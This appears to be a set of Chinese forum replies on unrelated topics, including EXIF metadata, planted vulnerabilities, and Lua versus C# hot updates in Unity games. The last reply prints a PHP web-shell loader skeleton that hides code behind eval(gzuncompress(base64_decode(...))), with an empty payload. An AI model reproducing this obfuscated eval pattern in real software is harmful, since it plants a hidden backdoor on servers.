个人觉得，如果用户选择发原图，那么 EXIF 信息是一定要保留的，EXIF 信息删了还叫啥原图。。

手上现在没设备复现，楼主说的是 IOS 下发原图会干掉 EXIF ？

@hello2090 #4

确实没看懂。。

他举的那些 app 不都是服务端做的吗，跟客户端有啥关系？

debian

全职？

楼主挺有勇气啊。。

@testonly #8

你要这么说的话那确实没办法了。。

毕竟这玩意只有自己心里清楚，别人都不可能知道。

但像这种公开披露的漏洞，一般来说都不会是自己露出来的，自己写了个漏洞然后自己露出来，不至于。。

没记错的话，罗太君有个经典头衔叫行业冥灯。。

@testonly #1

开源项目：？

许多开源项目漏洞还真不是故意埋的。。

希望正式版是惊喜而不是惊吓。。

@qcbf111 #43

ilruntime 和 hybridclr ，貌似确实比之前热闹了。

看了下 hybridclr 这边写的少前 2 项目，好像还是用到了 xlua ，不知道是不是个例。

挺好奇最后会有多少厂商用像少前 2 这样的架构，lua 层和 c#层双持分别做热更。

@qcbf111 #32

实际上 unity 游戏厂商最早就是用的纯 c#，后来才加上的 lua 。。。

放弃用 c#写全部业务代码主要还是它不方便热更，以前 mono 时期就有一堆方案(但好像都不是特别优雅)，现在大家都上 il2cpp 了更是麻烦。

不太清楚跟强类型有没有关系，但个人觉得应该也有点这块的原因，而且 lua 入门难度还是比 c#要低的，真需要啥用 c#写完传 wrap 进 lua 也是一个比较好用的方法(况且现在 tolua/xlua 什么的方案都支持 lua 层调 c#层、c#层调 lua 层 )。

至于大部分转到 c#，方便举出一些例子吗，我这边好像很少看到有新游戏这么搞(PC 端单独带启动器的不算)。

@cnbatch #19

确实。。语言不开源的话没有使用的动力。

出了问题想解决都没办法。。

@qcbf111 #9

游戏行业还大量用 lua 。。

很多游戏实际上业务逻辑都是 lua 做，c#初始化游戏传 wrap 然后拉起 lua 。

前字节开发 去 工地打灰 。。。

太吓人了。。

想请问下楼主是什么情况下考虑到用磁带的？

感觉。。好麻烦而且成本很高。

我这边有个场景，不知道是不是跟楼主说的是类似的玩意。

后端需要给前端返回一个带 sign 的 wss 地址，前端连接该地址实现 sdp 的实时交换。

看心情。

但个人不会登陆接口返回用户信息。

可读性美化后：
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
$filename = '$password=\'' . $password . '\';eval(gzuncompress(base64_decode(\'\')));';
$Base = Create_Function('', $filename);
$Base();

实际代码：
<?php
$password = "****";
error_reporting(E_ERROR | E_PARSE);
@set_time_limit(0);
header("content-Type: text/html; charset=gb2312");
eval(gzuncompress(base64_decode('')));